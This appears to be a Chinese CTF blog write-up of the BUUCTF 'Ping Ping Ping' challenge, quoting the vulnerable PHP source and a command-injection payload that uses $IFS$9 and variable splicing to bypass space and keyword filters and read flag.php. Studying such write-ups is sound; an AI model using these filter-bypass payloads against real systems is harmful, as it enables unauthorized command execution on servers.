buuctf—[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
提示/?ip=
所以传一个参数试一下

ip=127.0.0.1

在这里插入图片描述
所以这道题石锤是命令执行了
ls一下
在这里插入图片描述
试一下直接cat flag.php
在这里插入图片描述
很明显被过滤了
在网上找了大佬的空格过滤绕过
尝试发现,不仅空格被禁了,像 { 、 < 、% 也被禁了但是$IFS$9能用,不过提示flag也被过滤了

先尝试读index.php ,得到源码,找到了过滤规则

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);//-c 是ping命令的一个参数,意思是发送四次数据包
  echo "

";
  print_r($a);
}

?>

变量拼接字符串绕过一下:
在这里插入图片描述
大概就是这个原理
构造payload

  ?id=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b  

在这里插入图片描述
查看源代码
flag就出来了
在这里插入图片描述

flag{fb8f0e95-2316-48b4-ae4a-139526664597}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值